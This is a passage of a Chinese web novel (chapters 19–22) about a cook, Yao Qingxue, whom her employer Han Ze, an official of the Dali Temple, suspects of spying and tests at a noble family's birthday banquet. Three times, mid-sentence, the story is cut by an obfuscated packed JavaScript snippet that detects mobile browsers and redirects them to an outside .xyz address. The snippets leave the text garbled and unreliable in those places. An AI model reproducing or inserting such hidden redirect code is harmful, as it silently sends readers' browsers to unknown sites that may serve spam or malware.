韩泽:“……”姚轻雪又要做什么?说好了不会擅作主张,这才过去几天? 可以光明正大卖吃食,姚轻雪便扩大了卤味种类。她买了些鸡鸭,卤后把各个部位分开卖。有人突然发现,分开卖居然卖的这么好,没几日,模仿者便出现了,姚轻雪并不担心,分开卖并不是重点,味道才是。 姚轻雪并未将那些人看在眼里,不过她倒是有了个想法,这一片哪的人最有钱?非大理寺官员莫属。都是年轻的小伙子,能吃也舍得吃。于是她就和姚福分开,来了大理寺门前摆摊。 韩泽走出大理寺来到她面前:“你怎么跑这来卖?” 姚轻雪一边用树叶包卤味给食客,一边回道:“你们大理寺有钱。” 跟着出来的高飞指着冒酸味儿的鸡爪道:“这个闻着怪怪的。”酸酸的,却让人忍不住流口水。 姚轻雪见过高飞,知道他是韩泽手下,便给他夹了块:“酸辣鸡爪,好吃不腻,下酒最好,您尝尝。” 高飞看一眼韩泽,接了姚轻雪的东西。 姚轻雪也给闷闷不乐的韩大人递过去一块,哪知韩泽不屑:“腌臜之物怎能入口。” 19. 第 19 章 韩泽话音刚落,一旁的高飞惊呼:“好吃!还没有骨头,给我来五个,我就爱吃这个。”旁人觉得鸡爪难入口,是腌臜之物,比如身边的韩大人,但他就是喜欢吃,有嚼劲比肉香。尤其是姚厨娘做这个,味道真绝。 姚轻雪道:“光是拔掉骨头就费不少事,腌入味也用了不少时间,不好吃都对不起我付出的汗水。”她做的改良版柠檬鸡爪,没有柠檬,就用市面上一种酸果子替代,口感略有差异,但也还不错,再加上点茱萸调和,姚福都赞不绝口。 韩泽瞪了一眼手下,高飞在上司的冷眼下,硬着头皮接过用叶子包好的鸡爪。 高飞又不是没吃过好东西,韩泽有些意动,他家厨娘总能做出不一样的食物。也不知韩大人怎么想的,刚骂完人家东西脏,他自己拿起筷子夹了块放进嘴里,然后指着鸡爪:“这些都给我包起来。” 高飞瞪大了眼睛,韩泽挑食是大理寺出了名的,这不吃那不吃,猪脚鸡爪包括内脏从来不碰,大厨蔡叔都说韩大人难伺候,今日这是闹得哪一出? 姚轻雪低头翻了个白眼,韩泽嘴硬的也是没谁了。她刚来韩家做的吃食韩大人都要批评一番,转头他就吃个精光。 她把剩下的六个鸡爪包好:“食物不分贵贱,而在于个人喜好和厨子的手艺,韩大人莫要一棒子打死。”好歹是自己的雇主,姚轻雪把摊上的每样吃食都包了些给他。 韩泽接过东西,丢下块银子:“若是难吃,今后别在这卖了。”被自家厨娘说教,韩大人脸上挂不住,临走还放了狠话。 高飞看看这个,再看看那个。 姚轻雪悄声问他:“你家大人是不是总得罪人?” 高飞看着韩泽离去的背影,点了点头。得罪人是得罪人,但韩泽身后有韩家、有陛下,即便对他有不满,也没人敢把他怎样。更重要的是韩泽并非无能之辈,他有真本事,跟着韩泽做事的手下都服他。 韩泽回去没多久,陆方找了过来:“听说你家厨娘在大理寺门外卖吃食?” 韩泽指了指桌上的几包东西,陆方捡了个翅膀咬一口,“味道不错,跟那些卤味差不多!”那日韩泽带来的卤味,陆大人也是吃了的。 陆大人边吃边问:“在你家里这么长时间,她不打探机要消息,你挖坑人家也没往里跳,现在又来咱大理寺门前晃,这可不像暗探做的事,你确定没弄错?” 韩泽没说话,他想相信姚轻雪,但她身上可疑之处太多。 “你抄回来的那些字符我叫人研究了,似乎都有对应的文字,只不过简单了。不过还别说,我觉着减了笔的字还挺方便。这是她自己琢磨的?还是有人教她?”陆方嚼着嘴里的东西,眉头皱起。 不怪韩泽疑心重,他也觉得姚轻雪有问题。普通人家出来的姑娘,没有人教导能有多大见识和本事?偏偏姚轻雪有些地方令人意外。 “后日是徐家老太君生辰,我带她过去,到时劳烦大人您帮个忙,引她入瓮。”韩泽决定试她一次,是不是细作,很快便知。 “行,做什么我配合。这些你不要了吧,我拿走了。”陆方起身端起桌上的几包叶子往外走,陆大人边走边说:“若是弄错了也没什么,你与陛下有儿时情谊,大不了让陛下骂一顿,这厨娘手艺不错,你不亏。你若是不要,记得把她介绍到我府上。” 韩泽:“……” 让她去参加徐老太君的寿宴?姚轻雪懵了,她一个厨娘为何要去参加达官贵人的寿宴? “让你去就去,哪来那么多废话。” 这态度让人不爽,姚轻雪逗弄心思顿起,她羞答答地问:“大人您是不是喜欢我啊?” 韩泽僵了一瞬后道:“……你想多了,姑娘家脸皮别那么厚。” “开个玩笑嘛。”姚轻雪笑嘻嘻道。 就韩泽平日看她的眼神,姚轻雪绝对没有认为韩泽对她有意思。她没想过将来嫁什么样的人,但不会是韩泽这种冷面无趣的。枕边人整日板着脸跟个冰块似的,日子没法过。 “寿宴上菜品丰富,带你过去长长见识,到时别给我丢脸。”韩泽编了个理由。 姚轻雪也当是如此,不然韩泽带她去干什么?韩大人让她准备一下,姚轻雪回家换上最好的衣服,她最好的衣服也是去年做得棉布裙,首饰仅一根桃木发簪。 刘氏给她买过银发簪,但质地和款式都不怎么样,姚轻雪想还不如朴素一点。她就是个厨娘,身份在这呢,不必打肿脸充胖子。 她清清淡淡的样子,韩泽却不满意,他领出去的人关乎脸面,不管她身份如何,都不能丢他的脸。 于是韩泽把姚轻雪领进伊云阁,京城最大的成衣铺,那里的管事和韩泽相识,得韩泽嘱托,从头到脚把姚轻雪装扮一番。 姚轻雪平日不施脂粉,这一打扮顿时让人眼前一亮。给姚轻雪画脸的车娘子惊叹:“姚娘子,你若日常这般打扮,你家门槛怕是得被媒人踏破。” 姚轻雪看着铜镜中的自己,高发髻,一朵珍珠珠花戴于上,金镶玉步摇插在左侧,额间一抹花钿。脸庞粉嫩、嘴唇红艳,她都快不认识自己了,的确比素着好看许多。 她用手轻轻砰砰头发:“娘子说笑了,我这种做粗活的人,哪能日日这么打扮,没法干活啊。” 车娘子欲言又止,韩泽是出了名的洁身自好,能带她来这里,恐怕不单单是厨娘这么简单。见姚轻雪没有要说的意思,她也就没多嘴。 半个时辰了,人还没出来,韩泽等的焦急,心想女人换个衣服梳个头怎地就这么麻烦?以后他娘子若是总让他这般等,他可受不了。 正在韩泽急不可耐时,通往里间的门打开,车娘子笑着道:“韩大人久等了,您瞧瞧可还满意?”她走到边上,露出身后的姚轻雪。 看见与平日判若两人的人韩泽有片刻失神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14624688|155443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。姚轻雪在他面前转了一圈,一身水绿丝绸长裙,裙摆随着动作翻飞起舞:“怎么样韩大人,我是不是还算有点姿色?这个样子不会给您丢脸吧?” “还好!”韩泽脸上有些不自在,“姿色不是自己该说的话,姑娘家要学会矜持。” 车娘子用帕子捂着嘴笑,这二人也是有意思。姑娘大方坦荡,反倒是韩大人放不开了。可瞧着这俩人的眼神,似乎不是那种关系,这倒让她看不懂了。 出了伊云阁,两人坐马车去徐府。姚轻雪坐那不敢动,生怕弄乱发型、弄皱了衣服。 见她僵硬地坐着,韩泽勾了勾嘴角,难得见到她有应付不来的时候。 徐大人官拜太子太傅,他母亲的生辰皇帝都送来寿礼。朝中有头有脸的官员都携家眷来贺。此时徐宅门口人声鼎沸。 两人下了马车,韩泽刚露头,便有人与他打招呼。 “韩兄!”章云起与李鹤鸣等人走了过来。 几人见韩泽身后站着美娇娘都很好奇,大家都在京城做官,知道韩泽为人,二十三了未成亲,甚至连未婚妻都没有。如今韩泽竟带姑娘赴宴。章云起笑着问:“韩兄!这位是?” “我家厨娘。”韩泽转头看了看身侧:“过来见礼。” 姚轻雪从韩泽身后走过来,躬身福礼:“见过各位公子,公子安!” 几个男人面面相觑,厨娘?今日来客,成亲的带妻妾,未成亲的带家中弟妹,再不济也带表妹,怎么韩泽带厨娘赴宴?还是颇有姿色的厨娘。看这身打扮韩泽不说,谁知道她是厨娘? 章云起摸了摸下巴,玩味道:“韩兄好眼光。” 韩泽白了他一眼,也不解释,“进去吧。” 姚轻雪怕被冲散,紧跟在韩泽身后进了徐家。进院后,韩泽就开始与人寒暄。 姚轻雪见没她什么事,就站得远一点看着。韩泽面带笑容,待人彬彬有礼,他的长相在这么多人中也是出类拔萃,有那女客偷偷瞄他后红了脸。 看来韩泽只在家里冷言冷脸,与旁人寒暄挺有一套的嘛,姚轻雪撇撇嘴。韩泽没空管她,徐家今日来的都是贵客,她也不敢乱走,就在影壁旁安静站着。 不知什么时候两位老者停在了影壁后。石雕镂空影壁墙不隔音,背面说话的声音隐约传到姚轻雪耳朵里。 起初她没在意,不小心听了两句后大为震惊。姚轻雪往后靠了靠,屏气凝神侧着耳朵听。 陆方压低了声音道:“张迁身边有个随从住在西柳巷,他知道藏匿地点,此人两日后回京,只要他回来就跑不了,将其拿下东西唾手可得。” 另一人道:“恭喜陆兄,又是大功一件,届时陛下定有重赏。” “都是为陛下为朝廷办事,不谈奖赏。” 通过二人的对话,姚轻雪得知那位姓陆的大人是大理寺卿,韩泽的顶头上司。难道大理寺找到了张迁的财宝? 20. 第 20 章 姚轻雪有些遗憾,她惦记这么久的东西,如今让大理寺找到,看来财宝与自己无缘。 她正在心痛没了财宝,就听身侧有人问:“你是韩哥哥什么人?” 一位模样俏丽的姑娘正看着她,看着年纪不大,姚轻雪以为她是韩泽的亲人,便颔首道:“我是韩大人家的厨子,姑娘是?” “厨子?你竟是厨娘?”小姑娘眼睛瞪得又圆又大,满脸不可思议。 她身边的婢女不客气地说道:“哼,一个厨娘,不配知道我家小姐名讳。” 姚轻雪皱了皱眉,来找茬的?见主仆二人衣着华丽,尤其是小姐满头珠翠,不是自己能招惹的主,本着多一事不如少一事:“是我唐突了,见谅!”说完她往一边走了几步,想离她们远一点。 哪知那位小姐却跟了过来,“韩哥哥为何要带你来赴宴?你真是厨娘?”天真的眼睛里充满了好奇。 “千真万确,不信你可以去问你韩哥哥。” “我干嘛要去问韩哥哥,问你不行吗?区区厨娘架子这般大。” 姚轻雪无语,这主仆俩一个德行。她算看出来了,这位小姐多半是喜欢韩泽,不然不会对她这么大敌意。 韩泽与人说着话,眼角始终注意着姚轻雪,想看看她与什么人接触。见秦若昭两手叉腰像是在争吵,他不想节外生枝便走了过去。 “若昭!” “韩大哥!”秦若昭见到韩泽,立马换了副嘴脸,笑的像朵花。 韩泽点了点头,“今日人多,若昭不要乱跑,免得被人冲撞,快去你娘身边。”秦若昭与妹妹韩莺关系不错,以前她常来家里玩,韩泽当她是妹妹一样。 “嗯,我这就去,多谢韩大哥提醒!”秦若昭在韩泽面前乖巧无比,哪还有面对姚轻雪时的嚣张跋扈。 秦若昭走后,姚轻雪道:“大人,除了您的若昭妹妹,旁的贵女瞪我好几眼了。我一个穷厨子惹不起贵人,若有人再找麻烦,我该如何是好?” 韩泽觉得姚轻雪是想借题发挥,谁会找她麻烦,便道:“若昭与家妹交好,任性了些但人不坏,若有旁人为难你,就报我名字或是差侍女寻我,只要你还在我家做事,便没人敢找你麻烦。” 姚轻雪笑盈盈道:“多谢大人,有您这句话我就放心了。”不是她多想,实在是女人的嫉妒心很可怕。 远处的白婉清将影壁前发生的一切看在眼里,她攥紧手里的帕子。韩泽护着那个女人。自己向他表达心意,韩泽断然拒绝,丝毫没有顾及她的体面,她以为韩泽就是这般冷漠,但现在他却护着另外一个女人。 她只不过对秦若昭说韩泽带了女人过来,以秦家小姐的脾气,断然不会给那个女人好脸色。没想到秦若昭才刚与人对上,韩泽就过去解围。 他何时这般对过自己?终究是心里没有她吗? “小姐!今日是徐老太君寿宴,切不可失了体统,不然明日满京城的人都会知道,您就更没有机会了。”芸香是白婉清的贴身侍女,自家小姐遇到韩泽便失了魂一样,今日这种场合万不能出差错。 白婉清垂下眼:“我知道,走吧。” 有人叫韩泽,见他又要走,姚轻雪赶紧道:“您能先给我安排个地儿吗?腿都站酸了。” “跟我来吧。”韩泽与人打了声招呼,将她领去临时搭建的膳厅。为了本次寿宴,徐家在花园搭建了两个长亭和一个高台。长亭红绸盖顶、红毯铺地,四周挂满了红绸和吉祥福寿挂件,两个长亭之间用绿竹和花卉隔开。 长亭四周几步之外百花争艳,轻风一过花香四溢,蝴蝶和蜜蜂穿梭其中,偶有飞进亭来,姑娘们惊喜又激动,被惊扰的蝴蝶又翩翩飞走。 高台之上有伶人在弹唱、舞蹈。在这里用膳,清凉惬意又能听曲赏花看舞,徐家是用了心思的。 韩泽把人带到女客这边转身离开。他来到男宾的长亭,坐到陆大人身边。 陆方见他过来小声说:“你交代的事我办好了,不过鱼咬不咬勾就难说了。我是觉得此事太过刻意,她不一定信。” “他们和我们一样都急着找东西,一点风吹草动都不会放过。”这几个月大理寺捕风捉影的事做的还少吗?现在大家都一个想法:宁可找错、不可错过。“此事若是有闪失,传到陛下耳朵里,您可以推到我身上,此事全是我一人的主意。” 陆方瞧着他:“谁听见我说什么了?有证人吗?即便有证人他有证据吗?我不认陛下能把我怎么着?” 韩泽:“……”若论耍赖,大理寺的人比谁都擅长,陆大人更是深谙此道。 陆方拍拍韩泽肩膀:“我已请府衙加派人手保护张家仆从,但你别忘了,你家那个厨娘也在张家待过,即便她不是细作,也得把人护好。” 从张家出去的人,不管是放回家,还是流放,只要活着的大理寺都有关注其动向。最近有几人突然死亡,有人掉下山崖摔死、有人被马撞死,虽然伪装成意外,但有经验的仵作还是发现了端倪,这些人生前受过折磨。 韩泽断定:有人想从张家仆从那里得到什么,至于是不是北齐细作就不得而知了。 “大人放心,我会看好她。” 女客这边,秦若昭看见姚轻雪进来鼻子一哼,旁边坐着的姑娘问她:“若昭妹妹,那位姑娘是韩大人什么人?” “厨娘!”秦若昭声音不低,似是故意要给姚轻雪难堪。 然而姚轻雪脸不红、脚不乱,径直朝最后面走去。 长亭内的人都觉得韩泽带厨娘赴宴不可思议。以徐大人的身份,今日带妾室来都是不够尊重,韩泽更离谱竟然带厨娘。 不知谁小声说了句:“怕是房里的吧。”韩泽没成亲,但有女人一点都不奇怪。 秦若昭瞪她:“别乱说,韩大哥才不是那种人。”说完她又去瞪姚轻雪。 姚轻雪对她微微一笑,秦若昭把头一扭,姚轻雪暗笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655953|155443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小姑娘什么心思都摆在脸上,逗逗她挺好玩。 贵客坐在最前,越往后身份越低,最后一桌只坐了她一人。姚轻雪乐得自在,不是一个圈子凑一起也尴尬,若碍了别人的眼,倒霉的是自己。 她已尽量远离,但仍是是非的中心,有人窃窃私语,对她指指点点。姚轻雪叹气,韩泽给她找事,不过无所谓,只要没人找她麻烦就好,今日出了徐家门,以后不会有再见的机会。 姚轻雪吃着桌上的糕点和蜜饯,不过吃了两口便不再吃了。东西虽金贵,但太过甜腻,她不喜欢。 白婉清起身往后去,芸香见自家小姐坐到那厨娘对面,她都要急哭了。 没料到还有人来与自己同桌,姚轻雪微笑颔首。不过,她感觉眼前这位姑娘的眼神过于忧伤和痛苦,不知是不是她的错觉。 “请问姑娘芳名?”白婉清问。 “姚轻雪。” “不知姑娘是哪家闺秀?我从未见过你。” 姚轻雪哼笑:“姑娘刚来吗?谁家闺秀去做厨子?莫不是韩大人的锅灶镶了金边?” 白婉清:“……” 姚轻雪不信眼前的女人不知道她是厨子,非要问出来是想羞辱自己?不过算盘打错了,她姚轻雪若是这点事都承受不住,还怎么活下去。 白婉清冷冷地看着她:“他、为何会带你来?” 从婉转绵长的一个“他、”字,姚轻雪似乎明白了此人眼中的痛苦因何而来。不过这跟她没有关系。 “韩大人就在隔壁,姑娘可去问他。” 一旁的芸香气道:“隔壁是男宾,我家小姐怎么能去?你这厨娘好没规矩。” 姚轻雪看向侍女:“要我去把韩大人叫过来吗?” 芸香:“你、” “芸香!”白婉清喝住侍女,“见谅,芸香一时情急说错了话。” 姚轻雪叹口气,她跟韩泽没有任何关系,犯不上替他承担什么,便直言道:“我真是厨子,除了做饭不做旁的,今日来也是为了长见识,韩大人嘴巴挑剔,他家厨子可不好做。” 她摊开手掌,手心四个茧子和并不怎么娇嫩的手指证明她没说谎。她若跟韩泽有什么,还用每日下厨?把手弄得这么粗糙? 白婉清并不信,或者说她不信任何出现在韩泽身边的女人,但纠缠下去只会让她难堪,便起身离开。“打扰了。” 两人说话声音很低,除了她们三个没人听得见。秦若昭撇撇嘴,不用听也知道白婉清不会说什么好话。她一直喜欢韩泽,十七了没嫁人也不定亲,但韩哥哥看不上她,哼,自作多情。她就没想想自己是不是也是自作多情。 一盏茶的功夫,侍女们鱼贯而入为客上菜。姚轻雪从旁人的对话中得知,徐家为了这次寿宴,特地请万福楼的大厨掌勺。 万福楼——京城最贵的酒楼,进去没有十两银子出不来。姚轻雪没吃过酒楼的菜,还挺期待,今日倒也不白来。 21. 第 21 章 姚轻雪每盘菜都尝一遍,有几道做得相当不错,但其他就差了一些。应该不是一个人的手艺。想也知道这么多人的膳食,只让一个厨子做根本不可能。 各家夫人贵女都顾着矜持体面,每道菜浅尝辄止、不会多夹。姚轻雪不顾旁人白眼捡自己爱吃的,没一会儿就吃的肚子溜圆。 这时高台上一首琵琶曲毕,唱曲的换了人。下台暂做休息的伶人被侍女引到女客这边。玉美人看了一眼,见最后角落的一桌仅有一人,便走了过去。 玉美人是男人心中的白月光,但在这亭子里女人的眼中不过是戏子。她和姚轻雪待遇差不多,都无人搭理。 落座后,两人相视一笑,姚轻雪对她举了举茶杯,以茶代酒两人喝了杯茶。 “姑娘独坐此处,怕不是在等玉某。”玉美人给她斟茶。 姚轻雪颔首道谢:“能与玉娘子同坐是我的荣幸,娘子未见过我,我却是久闻玉娘子大名。” 这时不知谁说了句:“下九流的货色坐一起倒是合适。”厨子、戏子均在下九流之列。 玉美人往那边看了一眼,而后转过头笑着道:“原来姑娘是厨娘,有机会定要尝尝姑娘手艺。” 姚轻雪心道能歌善舞、人美心善、情商又高,难怪权贵们趋之若鹜,这样的人谁会不喜欢呢? “玉娘子早就尝过了。”在张家和安国公府她做的膳食,玉美人应该都吃过。 玉美人疑惑:“何时?我怎么不记得?” 姚轻雪正要答,一侍女走过来请玉美人准备下一首曲子。她走后,姚轻雪也离了座位。 徐家花园甚大,如今正是百花争艳的季节,红、白、紫、黄、粉等各种颜色的鲜花争奇斗艳,让人心情都变愉悦了。 她正在看花,听见身后有人道:“哎呀,瞧那朵花多漂亮,芍药可比牡丹,不像某些野花上不得台面。” 这不像赏花,倒是像来找茬的。姚轻雪转身,两位衣着华丽的少女带着婢女走到她近前,几人脸上带着蔑视和挑衅。 姚轻雪不想搭理,想走却被两个婢女拦住:“别急着走啊,我家小姐有话问你。” 那位小姐高抬下巴:“你是厨娘?去给我做盘滴酥鲍螺。” “哎呀小姐,真厨子假厨子还不知道呢,她做出来的东西怎能入口?” “就是啊,妹妹,还是小心为好。” …… 几人一唱一和,姚轻雪也不吭声,任由她们猴子一样表演。说了半天见她无动于衷,那位让姚轻雪做滴酥鲍螺的小姐又道:“你怎么不说话?哑巴了?” “今日徐老太君寿宴,几位何不去台上表演,瓦市的猴戏都没你们好看。”对面几人瞠目结舌,竟然把她们比作猴子?还不等她们发怒,姚轻雪紧接着问道:“两位姑娘喜欢我家大人?” 完全没料到姚轻雪会把这话问出口,那两位小姐面红耳赤,这种话若是传出去,今后她们怎么做人?韩家有幸嫁进去自然是好,若是没那个福份,她们还得嫁别人呢。 “乱说什么?没规矩欠调教,小玉!教教她怎么说话。” 叫小玉的婢女道了声:“是!”就要过来。 姚轻雪往她们身后喊了一嗓子:“韩大人!” 小玉立马放下手,转身却没瞧见韩泽,再找姚轻雪,哪里还有人影。 姚轻雪趁她们不注意拔腿就跑,花园绿树成荫,几个拐弯就瞧不见人了。来到一条小路发现没人追来她才放慢脚步。 惹不起就躲呗,她一个升斗小民可不敢跟官家小姐对上。不是每个有权势的人都如韩泽那般讲道理。这么看来韩大人真是人品一流。不过因为他的桃花,自己被这么多人刁难,得跟他要些好处才行。 姚轻雪慢慢走着,此时已有不少女客三三俩俩地赏花。她不想跟人碰上便往外走,在要出花园时遇见一中年男人,那人问道:“姑娘可是韩泽的厨娘?” 姚轻雪愣了,她今日这么出风头吗?女孩子视她为眼中钉,现在男人都找上来了?不管是谁,以不得罪人为本,她颔首回道:“正是!” 韩振盯着姚轻雪不说话,有人说他儿子带厨娘赴宴,他不信那人还指给他看。眼前这姑娘样貌不差,但是厨娘身份是不是低了点儿?他又是何时把人弄家里去的?“你们认识多久了?” 姚轻雪想了想,若说认识韩泽,那就要从张家抄家开始,算起来也快有仨月了。“不足三月。” 嗨,这小子,上次他娘那么逼他,他都没吐口,藏的这么严实。他什么意思?想收在房里也不用瞒着吧。男人成亲前房里有伺候的很正常。 姚轻雪见这人站那不言不语,她福了一礼,大步离开。 韩振看着她走过小桥、走到树下、走到他儿子身边。韩将军嘴角弯了弯,他家这个儿子哪哪都好,就是在男女之事上一点不通。男人过了十岁就开始喜欢漂亮女人,他家儿子二十了都不会多看姑娘一眼。 本以为是个不开窍的榆木疙瘩,他还曾为此事发愁,没想到他不声不响地金屋藏娇,还厨娘,哪个赴宴带厨娘?骗谁呢。韩将军背着手往相反方向走去,看上去心情不错。 回去的马车里,韩泽心里琢磨姚轻雪得了消息会如何行动?而姚轻雪寻思怎么开口跟韩泽要好处。 韩泽见他家厨娘眼珠子乱转,不知在想什么鬼主意。本不想理会,但她看自己一眼叹口气、看一眼叹口气。车厢就这么大,想忽略都不行。韩泽忍无可忍:“有话就说。” 姚轻雪立马开始诉苦:“大人,您知道我今日为了您受了多少委屈吗?”韩泽张了张嘴还未发出声音,姚轻雪又道:“带我过来,不会是为给您挡桃花吧?那您可太坏了。” 韩泽:“……”徐府有大理寺的暗哨,姚轻雪身边发生的事他很清楚。来之前他并未料到会发生这样的事。 对于白婉清,韩泽很无奈,起初他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14665963|155443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不讨厌她,只是不想成亲而已。男人何时娶妻无所谓,但姑娘嫁人却不行。他不能因为自己耽搁别人,所以拒绝得很干脆,就是不想给她任何希望,但白婉清太过执着,这让他很不喜。 韩泽也是没有料到只不过带女人过来赴宴,竟然会有这么多麻烦。 见他沉默不语,以为韩大人这是认了,姚轻雪趁机要好处:“您桃花泛滥,我受无妄之灾,您是不是得补偿我?” 韩泽眼皮子一挑:“你不是也没吃亏?”滑溜得跟泥鳅似的,谁在她手里也没讨到好处。 姚轻雪抿着嘴、一脸委屈地看他。 韩泽也看她,两人大眼盯小眼互相看了一会儿,韩泽败下阵来。“你想要什么?” 见他同意,姚轻雪也不绕弯子了:“家中幼妹命苦,死了爹娘,是我把她捡回家中,那孩子受了刺激,以前的事都不记得了,所以要重办户籍,但京城户籍难办,所以我想请韩大人帮帮我。” “妹妹?你捡的?” “嗯。”姚轻雪道,见韩泽看着她,意思让她说下去。姚轻雪便避重就轻地说了下:“有一天我出城玩,路上捡了个小女孩,她爹娘都死了,家住哪里也不知道,我见她可怜就把她带回家,爷爷奶奶同意收养她。” “你很喜欢出城玩?”在他不知道的时候,这人不知去了多少次城外。 姚轻雪眨眨眼,重点是出城玩吗?她编的故事不凄惨吗?“也没有,只是偶尔去一下。” 怕漏了马脚,韩泽没在追问:“最近不得空,过些日子吧。”等你和幼妹进了大牢,也就用不着京城户籍了。 姚轻雪起身想给韩泽行礼,不料马车一颠,她没站稳身子一歪“哐当”一下撞到了车壁,头上的珠钗都掉了。 姚轻雪疼得龇牙咧嘴,韩泽用拳头抵住嘴努力忍笑。姚轻雪没好气道:“我头发凌乱,被人瞧见,您说别人会怎么想?” 韩泽笑不出来了,他往马车门口挪了挪屁股。姚轻雪翻了个白眼,整理头发,没有铜镜反而越弄越乱,韩泽只好出手帮忙,不然被曹叔看见都说不清。 姚轻雪以为大理寺少卿不至于连个头发都不会弄,结果他还真不会,本来还能凑合看,被韩泽摆弄两下,发髻彻底垮了,披头散发的。 姚轻雪:“……”车娘子梳的这个发髻,她自己拆估计还得拆一会儿,韩大人手到发散。 见发髻已经没有挽救的必要了,韩泽又往车边挪了挪。 回到太平巷家门口,韩泽把人放下:“有事要忙,这几日不回来。” 姚轻雪猜他应该是去抓张迁亲信,听韩泽上峰的口气,这件事十拿九稳。韩泽既然不在家,姚轻雪干脆回姚家住,跟姚福一起出摊。不过她没去大理寺门口,这几日大理寺估计不太平,还是不要去凑热闹的好。 两日后,西柳巷一户院门前停了辆马车,车上的男人四下看了看,见无人之后才鬼鬼祟祟下车进了院子。 22. 第 22 章 这天夜里三更时分,西柳巷这处宅子里的打斗声惊动了左邻右舍。人们打开院门,打算看个究竟。有人高举火把喊道:“大理寺办案,闲杂人等速速回避。” 一听是大理寺办案,冒头的人赶紧缩回去,跑回屋把门栓插上。 半个时辰后,这处宅院内躺了六具尸体。全都着黑衣、蒙面。 “大人!都死了,见逃脱不掉自己抹了脖子,身上没有标记和能证明身份的物件。”高飞挨个检查尸体后向韩少卿禀报。 韩泽点头,这些人无疑都是死士,想抓死士活口很难。该抓的人没抓到,死便死了吧。他转向一男子:“刘全,怎么回事?为何突然打起来?” “大人您有所不知!”扮做张迁亲信的刘全拱手:“前后有两伙人进院,两方争抢属下,都想抓我走,这才打了起来。” 按照原定计划刘全会被“绑走”,大理寺顺藤摸瓜找到他们老巢。谁成想人还没出来,院子里就传来打斗和惨叫声。埋伏在附近的韩泽怕刘全有危险,这才带人冲进来。 “两伙人?”韩泽皱眉。除了姚轻雪和他身后的北齐暗探,还有人得到了消息?“姚家可有动静?” 高飞摇头:“杜七传来消息,姚厨娘白日出摊帮姚福卖货,与她接触过的食客也未发现端倪。昨晚她回您家住的,晚上没出去过。” 余天照挠头:“这就奇了,这厨娘如何向外传递消息?杜七盯了她这么久,居然一点蛛丝马迹都没发现?这个女探子本事真这么大?” 众人一阵沉默,能躲过大理寺的监视,把消息传出去,还能镇定自若地在大理寺少卿家里睡觉,这份镇定和胆量更让人佩服。 “姚轻雪!”韩泽咬牙说出三个字,他的眸子都快蹦出火星子了。 “大人!您千万沉住气,打草惊蛇就前功尽弃了。”韩羽赶紧劝:“虽没有抓住人,但今日也算收获不小。都来抓刘全这说明谁都没找到那批火器,这也算好消息。另外除了北齐,还有人打丢失火器的主意,我们得提早做准备。” 韩泽深吸一口,迫使自己冷静下来。会是什么人?朝中别有用心之人?还是别国也掺合进来? 搞了这么大阵仗没拿住人,韩泽心里郁闷。之前他怀疑自己弄错冤枉了姚轻雪,但西柳巷去了人,还是两拨,姚轻雪脱不了干系。为了大局,现在还不能动她,但并不妨碍他折腾人。 次日清晨,韩大人冷着脸回到太平巷,房间都没回就把还在酣睡的姚轻雪叫起来。“几时了还不起来做皁膳?” 姚轻雪抬头,天边一片漆黑,寅时都未过,这也不晚啊!不过她见韩泽眼里有红血丝,脸色很差,想着他大概忙了一宿,饿着肚子回来的,所以才脾气不好。“我这就去做,大人您想吃什么?” “随便。”韩泽扔下一句便去了书房。 杜七从后窗翻进来,西柳巷的事他刚刚听说。“大人,是不是弄错了?属下觉着姚厨娘似乎没问题。她除了对姚家几人和银子上心,旁的一概不问,这两日从她的神色中看不到半分慌张与担忧。这么大的事放您身上,您能做到无人时也这般镇定自若?” 别说脸上看不出什么,夜里姚轻雪睡得很香,心里装那么大事的人,能睡得着觉?杜七不相信有这样的人,至少他做不到。 “若不是她,消息是怎么漏出去的?”韩泽揉揉额头。这女人让他几次推翻自己的判断,现在连杜七都开始不信了,真想把人抓过来问问:你到底是不是细作? 杜七:“那日徐府人来人往,被听了去也说不定。” 韩泽摇头,“当时陆大人身边并无旁人,被听去的可能性不大。” “那就奇怪了。”杜七摸着下巴思索,“假设姚轻雪把消息传给了北齐探子,那么另一伙人是谁?消息从哪里传出去的?咱们去廊县那次,明显被人抢了先,总不至于姚轻雪连这个都知道吧?是不是咱们身边出了问题?” “不对。”杜七突然道,“昨晚行动,除了高飞、刘全、我们这几个,其他人都不清楚具体做什么?如今看来得到消息的人根本就不知道刘全是假,否则也不会上当,所以不是咱们身边的人。那会是谁?” 因为是试探,也怕走漏消息,大理寺没多少人知晓西柳巷的事。知道内情的都清楚刘全是假的,自然不会把假消息传出去。去的这两拨人听到了风声,但这不实的风是从哪里吹出去的呢? 不管怎样还是姚轻雪嫌疑最大。 